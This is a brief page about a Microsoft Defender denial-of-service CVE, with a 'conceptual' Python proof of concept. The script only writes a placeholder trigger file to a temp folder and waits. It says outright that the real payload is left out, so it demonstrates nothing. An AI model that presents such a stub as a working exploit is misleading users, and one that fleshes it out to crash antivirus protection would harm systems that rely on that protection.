CVE-2026-45498 Microsoft Defender拒绝服务漏洞

import os import time # PoC for CVE-2026-45498 (Conceptual) # This script demonstrates a conceptual trigger for the Microsoft Defender DoS. # Note: Actual payload specifics are omitted for safety. def trigger_vulnerability(): print("[*] Attempting to trigger CVE-2026-45498...") # In a real scenario, this would involve specific file operations # or API calls that cause the Defender engine to crash. try: # Simulate interaction with a vulnerable interface # For example, creating a path that triggers a parsing bug malicious_path = "C:\\Windows\\Temp\\special_trigger.dat" with open(malicious_path, 'w') as f: f.write("Malicious_Pattern_Header") print(f"[+] Trigger file created at {malicious_path}") print("[+] Waiting for Defender scan interaction...") time.sleep(2) print("[!] If vulnerable, Defender service should be unresponsive.") except Exception as e: print(f"[-] Error during execution: {e}") if __name__ == "__main__": trigger_vulnerability()